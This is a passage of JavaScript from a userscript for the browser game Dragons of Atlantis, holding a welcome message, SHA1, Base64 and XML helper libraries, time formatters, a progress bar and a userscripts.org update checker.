						body = 'Merci ' + Seed.player.name + ' d\'avoir installé la version <b>' + scriptVersion + '</b> de <b>' + scriptName + '</b>.<br><br>' + 'N\'hésites pas à venir nous voir<br>' + '<br><b>Sur Facebook :</b>' + '<br>- <a href="http://www.facebook.com/groups/DoAscripts/" target="_blank"><u>DOA Scripts</u></a>' + '<br><b>Sur Userscripts :</b>' + '<br>- <a href="http://userscripts.org/scripts/show/' + scriptId + '" target="_blank"><u>' + scriptName + '</u></a><br>';
					} else {
						subject = 'News in the v' + scriptVersion;
						body = 'Thanks ' + Seed.player.name + ' to have installed the release <b>' + scriptVersion + '</b> of <b>' + scriptName + '</b>.<br>' + 'Please fill free to visit us<br>' + '<br><b>On Facebook :</b>' + '<br>- <a href="http://www.facebook.com/groups/DoAscripts/" target="_blank"><u>DOA Scripts</u></a>' + '<br><b>On Userscripts :</b>' + '<br>- <a href="http://userscripts.org/scripts/show/' + scriptId + ' target="_blank"><u>' + scriptName + '</u></a><br>';
					}
					body += '<br><br><b>' + mainAuthor + '</b>';
					MyAjax.messageSend(subject, body, Seed.player.id, true);
				} catch (e) {}
			}
		}

		function serverTime() {
			return toNum(new Date().getTime() / 1000) + Seed.serverTimeOffset;
		}

		function SHA1(msg) {
			function rotate_left(n, s) {
				var t4 = (n << s) | (n >>> (32 - s));
				return t4;
			};

			function lsb_hex(val) {
				var str = "";
				var i;
				var vh;
				var vl;
				for (i = 0; i <= 6; i += 2) {
					vh = (val >>> (i * 4 + 4)) & 0x0f;
					vl = (val >>> (i * 4)) & 0x0f;
					str += vh.toString(16) + vl.toString(16);
				}
				return str;
			};

			function cvt_hex(val) {
				var str = "";
				var i;
				var v;
				for (i = 7; i >= 0; i--) {
					v = (val >>> (i * 4)) & 0x0f;
					str += v.toString(16);
				}
				return str;
			};

			function Utf8Encode(string) {
				string = string.replace(/\r\n/g, "\n");
				var utftext = "";
				for (var n = 0; n < string.length; n++) {
					var c = string.charCodeAt(n);
					if (c < 128) {
						utftext += String.fromCharCode(c);
					} else if ((c > 127) && (c < 2048)) {
						utftext += String.fromCharCode((c >> 6) | 192);
						utftext += String.fromCharCode((c & 63) | 128);
					} else {
						utftext += String.fromCharCode((c >> 12) | 224);
						utftext += String.fromCharCode(((c >> 6) & 63) | 128);
						utftext += String.fromCharCode((c & 63) | 128);
					}
				}
				return utftext;
			};
			var blockstart;
			var i, j;
			var W = new Array(80);
			var H0 = 0x67452301;
			var H1 = 0xEFCDAB89;
			var H2 = 0x98BADCFE;
			var H3 = 0x10325476;
			var H4 = 0xC3D2E1F0;
			var A, B, C, D, E;
			var temp;
			msg = Utf8Encode(msg);
			var msg_len = msg.length;

			var word_array = new Array();
			for (i = 0; i < msg_len - 3; i += 4) {
				j = msg.charCodeAt(i) << 24 | msg.charCodeAt(i + 1) << 16 |
					msg.charCodeAt(i + 2) << 8 | msg.charCodeAt(i + 3);
				word_array.push(j);
			}
			switch (msg_len % 4) {
				case 0:
					i = 0x080000000;
					break;
				case 1:
					i = msg.charCodeAt(msg_len - 1) << 24 | 0x0800000;
					break;
				case 2:
					i = msg.charCodeAt(msg_len - 2) << 24 | msg.charCodeAt(msg_len - 1) << 16 | 0x08000;
					break;
				case 3:
					i = msg.charCodeAt(msg_len - 3) << 24 | msg.charCodeAt(msg_len - 2) << 16 | msg.charCodeAt(msg_len - 1) << 8 | 0x80;
					break;
			}
			word_array.push(i);
			while ((word_array.length % 16) != 14) word_array.push(0);
			word_array.push(msg_len >>> 29);
			word_array.push((msg_len << 3) & 0x0ffffffff);

			for (blockstart = 0; blockstart < word_array.length; blockstart += 16) {
				for (i = 0; i < 16; i++) W[i] = word_array[blockstart + i];
				for (i = 16; i <= 79; i++) W[i] = rotate_left(W[i - 3] ^ W[i - 8] ^ W[i - 14] ^ W[i - 16], 1);
				A = H0;
				B = H1;
				C = H2;
				D = H3;
				E = H4;
				for (i = 0; i <= 19; i++) {
					temp = (rotate_left(A, 5) + ((B & C) | (~B & D)) + E + W[i] + 0x5A827999) & 0x0ffffffff;
					E = D;
					D = C;
					C = rotate_left(B, 30);
					B = A;
					A = temp;
				}
				for (i = 20; i <= 39; i++) {
					temp = (rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0x6ED9EBA1) & 0x0ffffffff;
					E = D;
					D = C;
					C = rotate_left(B, 30);
					B = A;
					A = temp;
				}
				for (i = 40; i <= 59; i++) {
					temp = (rotate_left(A, 5) + ((B & C) | (B & D) | (C & D)) + E + W[i] + 0x8F1BBCDC) & 0x0ffffffff;
					E = D;
					D = C;
					C = rotate_left(B, 30);
					B = A;
					A = temp;
				}
				for (i = 60; i <= 79; i++) {
					temp = (rotate_left(A, 5) + (B ^ C ^ D) + E + W[i] + 0xCA62C1D6) & 0x0ffffffff;
					E = D;
					D = C;
					C = rotate_left(B, 30);
					B = A;
					A = temp;
				}
				H0 = (H0 + A) & 0x0ffffffff;
				H1 = (H1 + B) & 0x0ffffffff;
				H2 = (H2 + C) & 0x0ffffffff;
				H3 = (H3 + D) & 0x0ffffffff;
				H4 = (H4 + E) & 0x0ffffffff;
			}
			var temp = cvt_hex(H0) + cvt_hex(H1) + cvt_hex(H2) + cvt_hex(H3) + cvt_hex(H4);
			return temp.toLowerCase();
		}

		function TimeStampToDate(xmlDate) {
			var dt = new Date();
			var dtS = xmlDate.slice(xmlDate.indexOf('T') + 1, xmlDate.indexOf('.'));
			var TimeArray = dtS.split(":");
			dt.setUTCHours(TimeArray[0], TimeArray[1], TimeArray[2]);
			dtS = xmlDate.slice(0, xmlDate.indexOf('T'))
			TimeArray = dtS.split("-");
			dt.setUTCFullYear(TimeArray[0], TimeArray[1], TimeArray[2]);
			return dt;
		}

		function timestrh(time) {
			time = toNum(time);
			var m = [];
			var t = time;
			if (t < 61) return t + 's';
			if (t > 86400) {
				t %= 86400;
			}
			if (t > 3600 || time > 3600) {
				m.push(toNum(t / 3600));
				m.push('h ');
				t %= 3600;
			}
			m.push(toNum(t / 60));
			m.push('m ');
			m.push(t % 60);
			m.push('s');
			var str = m.join('');
			if (str[str.length - 1] == ' ')
				str = str.substring(0, str.length - 1);
			return str;
		}

		function timestr(time, full) {
			time = toNum(time);
			var m = [];
			var t = time;
			if (t < 61) return t + 's';
			if (t > 86400) {
				m.push(toNum(t / 86400));
				m.push('d ');
				t %= 86400;
			}
			if (t > 3600 || time > 3600) {
				m.push(toNum(t / 3600));
				m.push('h ');
				t %= 3600;
			}
			m.push(toNum(t / 60));
			m.push('m');
			if (full || time <= 3600) {
				m.push(' ');
				m.push(t % 60);
				m.push('s');
			}
			var str = m.join('');
			if (str[str.length - 1] == ' ')
				str = str.substring(0, str.length - 1);
			return str;
		}

		function timestrShort(time) {
			time = toNum(time);
			if (time > 86400) {
				var m = [];
				time /= 3600;
				m.push(toNum(time / 24));
				m.push('d ');
				m.push(toNum(time % 24));
				m.push('h');
				return m.join('');
			} else return timestr(time);
		}

		function toggleFlash() {
			logit('toggleFlash');
			var cont = document.getElementById('container');
			if (cont.style.display == 'none') {
				if (!IsChrome && SWF_CONTAINER && SWF_CONTAINER_INNERHTML) SWF_CONTAINER.innerHTML = SWF_CONTAINER_INNERHTML;
				cont.style.display = 'block';
				if (swf_object) setTimeout(function() {
					logit('Mute sound');
					swf_object.musicMute();
				}, 15000);
			} else {
				if (!IsChrome && SWF_CONTAINER && SWF_CONTAINER_INNERHTML) SWF_CONTAINER.innerHTML = '';
				cont.style.display = 'none';
			}
		}

		function toNum(n, min) {
			var x = parseInt(n, 10);
			if (!n || n == '' || n == null || n == undefined || isNaN(x)) x = 0;
			if (min && !isNaN(min) && x < min) x = min;
			return x;
		}

		var AutoUpdater = {
			days: 1,
			name: "DoA Power Tools Plus III From Jawz(modded by Calcium)",
			shortname: scriptName,
			version: scriptVersion,
			manualChk: false,
			time: new Date().getTime(),
			call: function(response, secure) {
				if (GM_xmlhttpRequest) {
					GM_xmlhttpRequest({
						method: 'GET',
						url: 'http' + (secure ? 's' : '') + '://userscripts.org/scripts/source/' + scriptId + '.meta.js',
						onload: function(xpr) {
							AutoUpdater.compare(xpr, response);
						},
						onerror: function(xpr) {
							if (secure) AutoUpdater.call(response, false);
						}
					});
				} else {
					function myOwnHttpRequest(details) {
						var xml_http = null;
						xml_http = new XMLHttpRequest();
						if (!xml_http) {
							if (details.onerror) details.onerror({
								responseText: '',
								readyState: 4,
								status: 0,
								statusText: 'GM_xmlhttpRequest failed (missing xml_http object)',
								finalUrl: details.url
							});
							else logit('GM_xmlhttpRequest failed (missing xml_http object), URL: ' + details.url);
							return;
						}
						xml_http.onreadystatechange = function() {
							var ready_state = xml_http.readyState;
							var status3or4 = (ready_state == 3 || ready_state == 4);
							var http_response = {
								responseText: (status3or4 ? xml_http.responseText : ''),
								readyState: ready_state,
								status: (status3or4 ? xml_http.status : null),
								statusText: (status3or4 ? xml_http.statusText : null),
								finalUrl: (ready_state == 4 ? details.url : null)
							};
							if (details.onreadystatechange) details.onreadystatechange(http_response);
							if (ready_state == 4) {
								if (xml_http.status >= 200 && xml_http.status < 300) {
									if (details.onload) details.onload(http_response);
								} else {
									if (details.onerror) details.onerror(http_response);
								}
							}
						};
						xml_http.open(details.method, details.url, true);
						if (details.headers)
							for (var this_header in details.headers) xml_http.setRequestHeader(this_header, details.headers[this_header]);
						try {
							xml_http.send(details.data);
						} catch (e) {
							if (details.onerror) details.onerror({
								responseText: '',
								readyState: 4,
								responseHeaders: '',
								status: 403,
								statusText: 'Forbidden',
								finalUrl: details.url
							});
							else logit('GM_xmlhttpRequest failed (forbidden), URL: ' + details.url);
						}
					};
					myOwnHttpRequest({
						method: 'GET',
						url: 'http' + (secure ? 's' : '') + '://userscripts.org/scripts/source/' + scriptId + '.meta.js',
						onload: function(xpr) {
							AutoUpdater.compare(xpr, response);
						},
						onerror: function(xpr) {
							if (secure) AutoUpdater.call(response, false);
						}
					});
				}
			},

			enable: function() {
				debugLog('Enable ' + this.shortname + ' updates');
				localStorage.setItem('118446_updater', new Date().getTime() + '');
				AutoUpdater.call(true, true);
			},
			compareVersion: function(r_version, l_version) {
				var r_parts = r_version.split('.'),
					l_parts = l_version.split('.'),
					r_len = r_parts.length,
					l_len = l_parts.length,
					r = l = 0;
				for (var i = 0, len = (r_len > l_len ? r_len : l_len); i < len && r == l; ++i) {
					r = +(r_parts[i] || '0');
					l = +(l_parts[i] || '0');
				}
				return (r !== l) ? r > l : false;
			},
			compare: function(xpr, response) {
				this.xversion = /\/\/\s*@version\s+(.+)\s*\n/i.exec(xpr.responseText);
				this.xname = /\/\/\s*@name\s+(.+)\s*\n/i.exec(xpr.responseText);
				if ((this.xversion) && (this.xname[1] == this.name)) {
					this.xversion = this.xversion[1];
					this.xname = this.xname[1];
				} else {
					if ((xpr.responseText.match("the page you requested doesn't exist")) || (this.xname[1] != this.name))
						localStorage.setItem('118446_updater', 'off');
					return false;
				}
				var updated = this.compareVersion(this.xversion, this.version);
				if (updated) {
					if (CHROME_EXT) {
						updaterConfirm(translate('A new version of') + ' ' + this.shortname + ' ' + translate('is available.\nGo to your Chrome extensions \n(') + chrome_extensions + translate('),\nenable the developer mode and click on the button to update extensions'), function() {}, null, false);
					} else {
						updaterConfirm(translate('A new version of') + ' ' + this.shortname + ' ' + translate('is available.\nDo you wish to install the latest version ?'),
							function() {
								try {
									location.href = userscripts_src;
								} catch (e) {}
							},
							function() {}, true
						);
					}
				} else {
					if (AutoUpdater.manualChk) updaterConfirm(translate('No new version of') + ' ' + this.shortname + ' ' + translate('available').toLowerCase() + '.', function() {}, null, false);
				}
			},
			manualCheck: function() {
				/*localStorage.setItem('118446_updater', new Date().getTime() + '');
				AutoUpdater.manualChk = true;
				AutoUpdater.call(true, true);*/
			},
			check: function() {
				try {
					if (localStorage.getItem('118446_updater') == "off") {
						/*this.enable();*/
					}
					else {
						/*if (+this.time > (+localStorage.getItem('118446_updater') + 1000 * 86400 * this.days)) {
							localStorage.setItem('118446_updater', this.time + '');
							this.call(false, true);
						}
						debugLog('Check ' + this.shortname + ' for updates');
						localStorage.setItem('118446_updater', new Date().getTime() + '');
						AutoUpdater.call(true, true);*/
					}
				} catch (e) {
					debugLog('AutoUpdater Check error : ' + e);
					logit(inspectObj(e, 8, 1));
				}
			}
		};

		/******************* progressBar *************/
		var progressBar = {
			steps: 0,
			step: 0,
			delay: 10000,
			totalTime: 0,
			currentTime: 0,
			timer: 0,
			title: '',
			stepText: '',
			displayed: false,
			by_count: false,

			init: function(x, y, width, height, title, bar_width, modal, container) {
				var t = progressBar;
				if (modal)
					progressBarPop = new ModalDialog(container, width, height, '', false);
				else progressBarPop = new PopUp('progress_bar', x, y, width, height, function() {
					tabManager.hideTab();
				});
				progressBarPop.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + title + '</b></center></div>';
				var layoutDiv = document.createElement('div');
				layoutDiv.className = 'container';
				layoutDiv.style.backgroundColor = 'rgb(245,245,228)';
				layoutDiv.style.color = '#000';
				layoutDiv.style.height = '100%';
				var layout = '<center><BR><B><div id=' + setUID('initTitle') + '></div></B>' + '<br><div id=' + setUID('initProgressBar') + ' style="width:' + bar_width + 'px"></div>' + '<br><div class=jewel id=' + setUID('initStepText') + '></div></center>';
				if (modal)
					progressBarPop.getContentDiv().appendChild(layoutDiv);
				else progressBarPop.getMainDiv().appendChild(layoutDiv);
				t.hideshow(true);
				t.displayed = true;
				layoutDiv.innerHTML = layout;
			},
			hideshow: function(onOff) {
				var t = progressBar;
				if (!onOff && t.displayed) {
					progressBarPop.show(false);
					t.displayed = false;
					if (t.timer) clearInterval(t.timer);
				}
				if (onOff && !t.displayed) {
					progressBarPop.show(true);
					t.displayed = true;
				}
			},
			start: function(options) {
				var t = progressBar;
				t.hideshow(true);
				t.steps = options.steps;
				t.delay = options.delay || t.delay;
				t.title = options.title || t.title;
				t.stepText = options.stepText || t.stepText;
				t.by_count = options.byCount || t.by_count;
				t.totalTime = t.steps * t.delay;
				t.step = 0;
				t.currentTime = 0;
				document.getElementById(UID['initTitle']).innerHTML = t.title;
				document.getElementById(UID['initStepText']).innerHTML = t.stepText;
				if (!t.by_count) {
					clearInterval(t.timer);
					t.timer = setInterval(t._progress, 500);
				}
			},
			stop: function() {
				var t = progressBar;
				t.delay = 10000;
				if (t.timer) clearInterval(t.timer);
			},
			pause: function() {
				var t = progressBar;
				if (t.timer) clearInterval(t.timer);
			},
			resume: function() {
				var t = progressBar;
				if (!t.timer) t.timer = setInterval(t._progress, 250);
			},
			update: function(options) {
				var t = progressBar;
				t.hideshow(true);
				t.step = options.step;
				t.title = options.title || t.title;
				t.stepText = options.stepText || t.stepText;
				t.currentTime = t.delay * t.step;
				if (document.getElementById(UID['initTitle'])) document.getElementById(UID['initTitle']).innerHTML = t.title;
				if (document.getElementById(UID['initStepText'])) document.getElementById(UID['initStepText']).innerHTML = t.stepText;
				if (t.by_count) t._progress();
			},

			_progress: function() {
				var t = progressBar;
				if (!t.by_count) t.currentTime += 500;
				var perc = toNum((t.currentTime / t.totalTime) * 200);
				if (perc > 200) perc = 200;
				var _progressBar = '<table class=progress_bar><tr>';
				for (var n = 0; n < perc; n++)
					_progressBar += '<td class=progress_on></td>';
				for (var n = perc; n < 200; n++)
					_progressBar += '<td class=progress_off></td>';
				_progressBar += '</tr></table>';
				if (document.getElementById(UID['initProgressBar'])) document.getElementById(UID['initProgressBar']).innerHTML = _progressBar;
				if (perc >= 200) t.stop();
			}
		}
		/******************* END progressBar *************/

		/********************************** Base64 ********************************************/
		var Base64 = {
			_keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
			encode: function(input) {
				var output = "",
					chr1, chr2, chr3, enc1, enc2, enc3, enc4, i = 0;
				input = Base64._utf8_encode(input);
				while (i < input.length) {
					chr1 = input.charCodeAt(i++);
					chr2 = input.charCodeAt(i++);
					chr3 = input.charCodeAt(i++);
					enc1 = chr1 >> 2;
					enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
					enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
					enc4 = chr3 & 63;
					if (isNaN(chr2)) {
						enc3 = enc4 = 64;
					} else if (isNaN(chr3)) {
						enc4 = 64;
					}
					output = output + this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) + this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);
				}
				return output;
			},
			decode: function(input) {
				var output = "",
					chr1, chr2, chr3, enc1, enc2, enc3, enc4;
				var i = 0;
				input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
				while (i < input.length) {
					enc1 = this._keyStr.indexOf(input.charAt(i++));
					enc2 = this._keyStr.indexOf(input.charAt(i++));
					enc3 = this._keyStr.indexOf(input.charAt(i++));
					enc4 = this._keyStr.indexOf(input.charAt(i++));
					chr1 = (enc1 << 2) | (enc2 >> 4);
					chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
					chr3 = ((enc3 & 3) << 6) | enc4;
					output = output + String.fromCharCode(chr1);
					if (enc3 != 64) output = output + String.fromCharCode(chr2);
					if (enc4 != 64) output = output + String.fromCharCode(chr3);
				}
				output = Base64._utf8_decode(output);
				return output;
			},
			_utf8_encode: function(string) {
				string = string.replace(/\r\n/g, "\n");
				var utftext = "";
				for (var n = 0; n < string.length; n++) {
					var c = string.charCodeAt(n);
					if (c < 128) {
						utftext += String.fromCharCode(c);
					} else if ((c > 127) && (c < 2048)) {
						utftext += String.fromCharCode((c >> 6) | 192);
						utftext += String.fromCharCode((c & 63) | 128);
					} else {
						utftext += String.fromCharCode((c >> 12) | 224);
						utftext += String.fromCharCode(((c >> 6) & 63) | 128);
						utftext += String.fromCharCode((c & 63) | 128);
					}
				}
				return utftext;
			},
			_utf8_decode: function(utftext) {
				var string = "";
				var i = 0;
				var c = c1 = c2 = 0;
				while (i < utftext.length) {
					c = utftext.charCodeAt(i);
					if (c < 128) {
						string += String.fromCharCode(c);
						i++;
					} else if ((c > 191) && (c < 224)) {
						c2 = utftext.charCodeAt(i + 1);
						string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
						i += 2;
					} else {
						c2 = utftext.charCodeAt(i + 1);
						c3 = utftext.charCodeAt(i + 2);
						string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
						i += 3;
					}
				}
				return string;
			}
		};
		/********************************** END Base64 ****************************************/

		/********************************** XML.ObjTree ***************************************/
		/* XML.ObjTree -- XML source code from/to JavaScript object like E4X - http://www.kawa.net/works/js/xml/objtree-e.html */
		if (typeof(XML) == 'undefined') XML = function() {};
		/* constructor */
		XML.ObjTree = function() {
			return this;
		};
		/* class variables */
		XML.ObjTree.VERSION = "0.24";
		/* object prototype */
		XML.ObjTree.prototype.xmlDecl = '<?xml version="1.0" encoding="UTF-8" ?>\n';
		XML.ObjTree.prototype.attr_prefix = '-';
		XML.ObjTree.prototype.overrideMimeType = 'text/xml';
		/* method:parseXML(xmlsource) */
		XML.ObjTree.prototype.parseXML = function(xml) {
			var root;
			if (window.DOMParser) {
				var xmldom = new DOMParser();
				var dom = xmldom.parseFromString(xml, "application/xml");
				if (!dom) return;
				root = dom.documentElement;
			} else if (window.ActiveXObject) {
				xmldom = new ActiveXObject('Microsoft.XMLDOM');
				xmldom.async = false;
				xmldom.loadXML(xml);
				root = xmldom.documentElement;
			}
			if (!root) return;
			return this.parseDOM(root);
		};
		/* method:parseHTTP(url, options, callback) */
		XML.ObjTree.prototype.parseHTTP = function(url, options, callback) {
			var myopt = {};
			for (var key in options) {
				myopt[key] = options[key];
			}
			if (!myopt.method) {
				if (typeof(myopt.postBody) == "undefined" && typeof(myopt.postbody) == "undefined" && typeof(myopt.parameters) == "undefined") {
					myopt.method = "get";
				} else {
					myopt.method = "post";
				}
			}
			if (callback) {
				myopt.asynchronous = true;
				var __this = this;
				var __func = callback;
				var __save = myopt.onComplete;
				myopt.onComplete = function(trans) {
					var tree;
					if (trans && trans.responseXML && trans.responseXML.documentElement) {
						tree = __this.parseDOM(trans.responseXML.documentElement);
					} else if (trans && trans.responseText) {
						tree = __this.parseXML(trans.responseText);
					}
					__func(tree, trans);
					if (__save) __save(trans);
				};
			} else {
				myopt.asynchronous = false;
			}
			var trans;
			if (typeof(HTTP) != "undefined" && HTTP.Request) {
				myopt.uri = url;
				var req = new HTTP.Request(myopt);
				if (req) trans = req.transport;
			} else if (typeof(Ajax) != "undefined" && Ajax.Request) {
				var req = new Ajax.Request(url, myopt);
				if (req) trans = req.transport;
			}
			if (callback) return trans;
			if (trans && trans.responseXML && trans.responseXML.documentElement) {
				return this.parseDOM(trans.responseXML.documentElement);
			} else if (trans && trans.responseText) {
				return this.parseXML(trans.responseText);
			}
		}
		/* method:parseDOM(documentroot) */
		XML.ObjTree.prototype.parseDOM = function(root) {
			if (!root) return;
			this.__force_array = {};
			if (this.force_array) {
				for (var i = 0; i < this.force_array.length; i++) {
					this.__force_array[this.force_array[i]] = 1;
				}
			}
			var json = this.parseElement(root);
			if (this.__force_array[root.nodeName]) {
				json = [json];
			}
			if (root.nodeType != 11) {
				var tmp = {};
				tmp[root.nodeName] = json;
				json = tmp;
			}
			return json;
		};
		/* method:parseElement(element) */
		XML.ObjTree.prototype.parseElement = function(elem) {
			if (elem.nodeType == 7) {
				return;
			}
			if (elem.nodeType == 3 || elem.nodeType == 4) {
				var bool = elem.nodeValue.match(/[^\x00-\x20]/);
				if (bool == null) return;
				return elem.nodeValue;
			}
			var retval;
			var cnt = {};
			if (elem.attributes && elem.attributes.length) {
				retval = {};
				for (var i = 0; i < elem.attributes.length; i++) {
					var key = elem.attributes[i].nodeName;
					if (typeof(key) != "string") continue;
					var val = elem.attributes[i].nodeValue;
					if (!val) continue;
					key = this.attr_prefix + key;
					if (typeof(cnt[key]) == "undefined") cnt[key] = 0;
					cnt[key]++;
					this.addNode(retval, key, cnt[key], val);
				}
			}
			if (elem.childNodes && elem.childNodes.length) {
				var textonly = true;
				if (retval) textonly = false;
				for (var i = 0; i < elem.childNodes.length && textonly; i++) {
					var ntype = elem.childNodes[i].nodeType;
					if (ntype == 3 || ntype == 4) continue;
					textonly = false;
				}
				if (textonly) {
					if (!retval) retval = "";
					for (var i = 0; i < elem.childNodes.length; i++) {
						retval += elem.childNodes[i].nodeValue;
					}
				} else {
					if (!retval) retval = {};
					for (var i = 0; i < elem.childNodes.length; i++) {
						var key = elem.childNodes[i].nodeName;
						if (typeof(key) != "string") continue;
						var val = this.parseElement(elem.childNodes[i]);
						if (!val) continue;
						if (typeof(cnt[key]) == "undefined") cnt[key] = 0;
						cnt[key]++;
						this.addNode(retval, key, cnt[key], val);
					}
				}
			}
			return retval;
		};
		/* method:addNode(hash, key, count, value) */
		XML.ObjTree.prototype.addNode = function(hash, key, cnts, val) {
			if (this.__force_array[key]) {
				if (cnts == 1) hash[key] = [];
				hash[key][hash[key].length] = val;
			} else if (cnts == 1) {
				hash[key] = val;
			} else if (cnts == 2) {
				hash[key] = [hash[key], val];
			} else {
				hash[key][hash[key].length] = val;
			}
		};
		/* method:writeXML(tree) */
		XML.ObjTree.prototype.writeXML = function(tree) {
			var xml = this.hash_to_xml(null, tree);
			return this.xmlDecl + xml;
		};
		/* method:hash_to_xml(tagName, tree) */
		XML.ObjTree.prototype.hash_to_xml = function(name, tree) {
			var elem = [];
			var attr = [];
			for (var key in tree) {
				if (!tree.hasOwnProperty(key)) continue;
				var val = tree[key];
				if (key.charAt(0) != this.attr_prefix) {
					if (typeof(val) == "undefined" || val == null) {
						elem[elem.length] = "<" + key + " />";
					} else if (typeof(val) == "object" && val.constructor == Array) {
						elem[elem.length] = this.array_to_xml(key, val);
					} else if (typeof(val) == "object") {
						elem[elem.length] = this.hash_to_xml(key, val);
					} else {
						elem[elem.length] = this.scalar_to_xml(key, val);
					}
				} else {
					attr[attr.length] = " " + (key.substring(1)) + '="' + (this.xml_escape(val)) + '"';
				}
			}
			var jattr = attr.join("");
			var jelem = elem.join("");
			if (typeof(name) == "undefined" || name == null) {} else if (elem.length > 0) {
				if (jelem.match(/\n/)) {
					jelem = "<" + name + jattr + ">\n" + jelem + "</" + name + ">\n";
				} else {
					jelem = "<" + name + jattr + ">" + jelem + "</" + name + ">\n";
				}
			} else {
				jelem = "<" + name + jattr + " />\n";
			}
			return jelem;
		};
		/* method:array_to_xml(tagName, array) */
		XML.ObjTree.prototype.array_to_xml = function(name, array) {
			var out = [];
			for (var i = 0; i < array.length; i++) {
				var val = array[i];
				if (typeof(val) == "undefined" || val == null) {
					out[out.length] = "<" + name + " />";
				} else if (typeof(val) == "object" && val.constructor == Array) {
					out[out.length] = this.array_to_xml(name, val);
				} else if (typeof(val) == "object") {
					out[out.length] = this.hash_to_xml(name, val);
				} else {
					out[out.length] = this.scalar_to_xml(name, val);
				}
			}
			return out.join("");
		};
		/* method:scalar_to_xml(tagName, text) */
		XML.ObjTree.prototype.scalar_to_xml = function(name, text) {
			if (name == "#text") {
				return this.xml_escape(text);
			} else {
				return "<" + name + ">" + this.xml_escape(text) + "</" + name + ">\n";
			}
		};
		/* method:xml_escape(text) */
		XML.ObjTree.prototype.xml_escape = function(text) {
			return String(text).replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/"/g, '&quot;');
		};
		/********************************** END XML.ObjTree ***********************************/
		
		/********************************** jDataView *****************************************/
		/* jDataView by Vjeux - Jan 2010 - A unique way to read a binary file in the browser - http://github.com/vjeux/jDataView - http://blog.vjeux.com/ <vjeuxx@gmail.com> */
		var jDataView;
		(function() {
			var compatibility = {
				ArrayBuffer: typeof ArrayBuffer !== 'undefined',
				DataView: typeof DataView !== 'undefined' && 'getFloat64' in DataView.prototype,
				NodeBuffer: typeof Buffer !== 'undefined',
				/* 0.6.0 -> readInt8LE(offset)*/ NodeBufferFull: typeof Buffer !== 'undefined' && 'readInt8LE' in Buffer,
				/* 0.5.0 -> readInt8(offset, endian)*/ NodeBufferEndian: typeof Buffer !== 'undefined' && 'readInt8' in Buffer
			};
			jDataView = function(buffer, byteOffset, byteLength, littleEndian) {
				if (!(this instanceof arguments.callee)) {
					throw new Error("Constructor may not be called as a function");
				}
				this.buffer = buffer; /* Handle Type Errors */
				if (!(compatibility.NodeBuffer && buffer instanceof Buffer) && !(compatibility.ArrayBuffer && buffer instanceof ArrayBuffer) && typeof buffer !== 'string') {
					throw new TypeError('Type error');
				} /* Check parameters and existing functionnalities */
				this._isArrayBuffer = compatibility.ArrayBuffer && buffer instanceof ArrayBuffer;
				this._isDataView = compatibility.DataView && this._isArrayBuffer;
				this._isNodeBuffer = compatibility.NodeBuffer && buffer instanceof Buffer; /* Default Values */
				this._littleEndian = littleEndian === undefined ? true : littleEndian;
				var bufferLength = this._isArrayBuffer ? buffer.byteLength : buffer.length;
				if (byteOffset === undefined) {
					byteOffset = 0;
				}
				this.byteOffset = byteOffset;
				if (byteLength === undefined) {
					byteLength = bufferLength - byteOffset;
				}
				this.byteLength = byteLength;
				if (!this._isDataView) { /* Do additional checks to simulate DataView */
					if (typeof byteOffset !== 'number') {
						throw new TypeError('Type error');
					}
					if (typeof byteLength !== 'number') {
						throw new TypeError('Type error');
					}
					if (typeof byteOffset < 0) {
						throw new Error('INDEX_SIZE_ERR: DOM Exception 1');
					}
					if (typeof byteLength < 0) {
						throw new Error('INDEX_SIZE_ERR: DOM Exception 1');
					}
				} /* Instanciate */
				if (this._isDataView) {
					this._view = new DataView(buffer, byteOffset, byteLength);
					this._start = 0;
				}
				this._start = byteOffset;
				if (byteOffset + byteLength > bufferLength) {
					throw new Error("INDEX_SIZE_ERR: DOM Exception 1");
				}
				this._offset = 0;
			};
			jDataView.createBuffer = function() {
				if (compatibility.NodeBuffer) {
					var buffer = new Buffer(arguments.length);
					for (var i = 0; i < arguments.length; ++i) {
						buffer[i] = arguments[i];
					}
					return buffer;
				}
				if (compatibility.ArrayBuffer) {
					var buffer = new ArrayBuffer(arguments.length);
					var view = new Int8Array(buffer);
					for (var i = 0; i < arguments.length; ++i) {
						view[i] = arguments[i];
					}
					return buffer;
				}
				return String.fromCharCode.apply(null, arguments);
			};
			jDataView.prototype = { /* Helpers */
				getString: function(length, byteOffset) {
					var value; /* Handle the lack of byteOffset */
					if (byteOffset === undefined) {
						byteOffset = this._offset;
					} /* Error Checking */
					if (typeof byteOffset !== 'number') {
						throw new TypeError('Type error');
					}
					if (length < 0 || byteOffset + length > this.byteLength) {
						throw new Error('INDEX_SIZE_ERR: DOM Exception 1');
					}
					if (this._isNodeBuffer) {
						value = this.buffer.toString('ascii', this._start + byteOffset, this._start + byteOffset + length);
					} else if (this._isArrayBuffer) {
						value = '';
						for (var i = 0; i < length; ++i) {
							var char = this.getUint8(byteOffset + i);
							value += String.fromCharCode(char > 127 ? 65533 : char);
						}
					} else {
						value = this.buffer.substr(this._start + byteOffset, length);
					}
					this._offset = byteOffset + length;
					return value;
				},
				getChar: function(byteOffset) {
					return this.getString(1, byteOffset);
				},
				tell: function() {
					return this._offset;
				},
				seek: function(byteOffset) {
					if (typeof byteOffset !== 'number') {
						throw new TypeError('Type error');
					}
					if (byteOffset < 0 || byteOffset > this.byteLength) {
						throw new Error('INDEX_SIZE_ERR: DOM Exception 1 (' + byteOffset + '/' + this.byteLength + ')');
					}
					return this._offset = byteOffset;
				},
				/* Compatibility functions on a String Buffer */ _endianness: function(byteOffset, pos, max, littleEndian) {
					return byteOffset + (littleEndian ? max - pos - 1 : pos);
				},
				_getFloat64: function(byteOffset, littleEndian) {
					var b0 = this._getUint8(this._endianness(byteOffset, 0, 8, littleEndian)),
						b1 = this._getUint8(this._endianness(byteOffset, 1, 8, littleEndian)),
